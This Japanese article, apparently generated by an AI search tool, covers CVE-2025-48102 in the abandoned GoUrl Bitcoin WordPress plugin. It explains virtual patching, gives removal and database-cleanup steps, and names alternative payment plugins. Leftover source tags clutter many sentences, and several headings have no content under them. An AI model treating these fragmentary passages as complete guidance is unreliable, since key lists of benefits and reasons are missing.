Magna Technology チームは次のように述べています: 「無効化されたプラグインに関する最も重大な問題の 1 つはセキュリティです。無効化されたプラグインは実行されませんが、WordPress インストールに残り、定期的に更新されない場合、 脆弱性 になる可能性があります。ハッカーは、非アクティブなプラグインであっても、古いプラグインを悪用して Web サイトにアクセスすることがよくあります。」
CVE-2025-48102 の特異な性質は、 GoUrl Bitcoin Payment Gateway プラグインが開発者によってサポートされなくなった ことです。これにより、プラグインのすべてのユーザーにとって、独自の非常に危険な状況が生じています。
Patchstack の公式見解: Patchstack の脆弱性ページには次のように明確に記載されています: 「このソフトウェアはおそらく放棄されています!このソフトウェアは 1 年以上前に最後に更新され、今後更新やパッチが提供される可能性は低いでしょう。早急にソフトウェアの代替品への交換を検討してください。」
無効化に関する重大な警告: Patchstack は特に次のように述べています: 「ソフトウェアを無効化しても、仮想パッチ (vPatch) が展開されない限り、セキュリティリスクは排除されないことに注意してください。」
Wiz の専門家による推奨事項: Wiz プラットフォームの専門家は率直に次のように述べています: 「公式な修正がなく、ソフトウェアが放棄されたと見なされるため、推奨される緩和策はプラグインを削除し、積極的にメンテナンスされている代替プラグインに置き換えることです。」
永続的な脆弱性: 開発者のサポートがないため、 セキュリティアップデートはリリースされません 。つまり、CVE-2025-48102 を含む、発見された脆弱性は永久に修正されないままになります。 wiz
リスクの蓄積: 時間の経過とともに、 追加の脆弱性が発見される可能性があり、それらも修正されないままになります。Patchstack の統計によると、2024 年には高優先度または中優先度の 脆弱性 により、なんと 1,450 のプラグインが WordPress.org リポジトリから削除されました。
将来のバージョンとの非互換性: 放棄されたプラグインは、 将来のWordPress、PHP、またはその他の依存関係のバージョンと非互換になる可能性があり 、追加の機能およびセキュリティ問題を引き起こします。 mainwp +1
仮想パッチ は、アプリケーション自体に変更を加えることなく、 既知のエクスプロイトが脆弱なコードに到達する前にブロックする セキュリティ手法です。wp-umbrella+2
OWASPの定義: OWASP組織は仮想パッチを 「既知の 脆弱性の悪用を防ぐセキュリティポリシー強制のレベル」 と定義しています。 「」
仕組み: 仮想パッチは トランザクションを分析し、転送中の攻撃をインターセプトするため、 悪意のあるトラフィックはWebアプリケーションに到達しません 。その結果、実際のアプリケーションソースコードが変更されていなくても、エクスプロイトの試みは失敗します。owasp+1
脆弱性固有性: 広範な検出パターンに依存する汎用のWebアプリケーションファイアウォール(WAF)とは異なり、仮想パッチは 特定のペイロードに一致するターゲットルールとして記述されます 。プラグインにSQLインジェクションやクロスサイトスクリプティングの脆弱性がある場合、仮想パッチは それを悪用する正確なリクエストシグネチャをインターセプトしてブロックできます 。wp-umbrella+1
Patchstackテクノロジー: Patchstackは 脆弱性固有のJSONルール を使用しており、さまざまな命令を含めることができます。たとえば、POSTパラメータidに悪意のあるペイロードを含めることで実現されるSQLインジェクションの場合、仮想パッチは ホワイトリストアプローチ を使用でき、idには数字のみを含めることができます。patchstack+1
自動展開: 脆弱性が発見され、CVE識別子で文書化されると、セキュリティ研究者またはPatchstackのようなプラットフォームは 脆弱性を検証し、エクスプロイトの正確な動作を文書化します 。これが仮想パッチの基礎となり、 保護されているすべてのサイトに自動的に展開 できます。
主な利点:
CVE-2025-48102に関する重要な制限:
仮想パッチの利点にもかかわらず、 放棄されたGoUrlプラグインに対する長期的な解決策ではありません 。Patchstackは、 仮想パッチが展開されない限り 、ソフトウェアを無効化してもセキュリティ脅威が排除されないことを明確に警告しています。ただし、放棄されたソフトウェアに対する継続的な保護のために仮想パッチのみに依存することは、 危険な戦略 です。理由は次のとおりです。patchstack
すべての要素( 公式修正の欠如、放棄されたソフトウェアのステータス、無効化の不十分さ、仮想パッチの一時的な性質 )を考慮すると、専門家は一致しています。 CVE-2025-48102に対する唯一の効果的な解決策は、GoUrl を完全に削除することです。wiz プラグイン 。+1
専門家の見解:

ステップ1: 完全なバックアップを作成 Jetpack+1
プラグインを削除する前に 、サイトの完全なバックアップを必ず作成 してください。ファイルとデータベースを含みます。これにより、問題が発生した場合にサイトを復元できます。推奨ツール: liquidweb+1
ステップ2: ダッシュボードからプラグインを無効化 kinsta+1
WordPressダッシュボードにログインし、 プラグイン → インストール済みプラグイン に移動します。 GoURL Bitcoin 支払いゲートウェイ&有料ダウンロード&メンバーシップ を見つけて、 「無効化」 をクリックします。kinsta+1
ステップ3: WordPressからプラグインを削除 wpbeginner+1
無効化した後、プラグイン名の下にある 「削除」 をクリックします。WordPressは /wp-content/plugins/ ディレクトリからプラグインファイルを削除します。jetpack+3
ステップ4: データベースから残留テーブルをクリーンアップ liquidweb+2
重要なステップ: 多くのWordPressプラグインは独自のテーブルをデータベースに作成しますが、 プラグインがアンインストールされても自動的に削除されません 。これらの 「孤立テーブル」 はスペースを占有し続け、機密データを含む可能性があります。youtubeonlinemediamasters+3
データベースのクリーンアップ方法:
A. データベースクリーンアッププラグインの使用: nitropack+2
Advanced Database Cleaner は、包括的なWordPressデータベースクリーンアッププラグインです。wordpress+1
WP-Optimize は人気の最適化ツールです。jetpack+2
Plugins Garbage Collector は、孤立テーブルを検出するための特化したプラグインです。YouTube
B. phpMyAdminによる手動クリーンアップ: mehulgohil+2
上級者向け:
wp_gourl_*、 wp_crypto_files、 wp_crypto_payments、 wp_crypto_membership、 wp_crypto_products)を持つテーブルを見つけます。wordpress+1特定のテーブルを削除するSQLクエリ: liquidweb
sql:DROP TABLE wp_gourl_tablename;
wp_gourl_tablename を実際のテーブル名に置き換えます。 常に再確認 して、他のプラグインがそのテーブルを使用していないことを確認してください。
ステップ5: 残留ファイルの確認 jetpack+1
一部のプラグインは プラグインディレクトリ外 にファイルを作成する場合があります。 /wp-content/uploads/ ディレクトリにGoUrlに関連するフォルダ(例:[ /wp-content/uploads/gourl/wordpress+2])がないか確認し、FTPまたはホスティングファイルマネージャーを使用して削除してください。
ステップ6: 未使用のショートコードの削除
GoUrlのショートコードがサイトのコンテンツで使用されていた場合、それらは 非アクティブになり、テキストとして表示 されます。投稿やページから手動で見つけて削除してください。
GoUrlの代替を選ぶ際には、以下の要素を考慮する必要があります。
1. アクティブなサポートと定期的な更新: wp-content+1
2. 強力なセキュリティの評判: paymattic+1
3. 技術的な互換性: crocoblock+1

BTCPay Server は、セルフホスト型のオープンソースソリューションです。instawp+2
Blockonomics は、分散型支払いゲートウェイです。slashdot+2
CryptoPay(BeycanPressによる) は、包括的な暗号支払いゲートウェイです。beycanpress+1
CoinGate は信頼できるブロックチェーン決済プロセッサです: g2+2
MyCryptoCheckout はプライバシー重視のプラグインです: instawp+2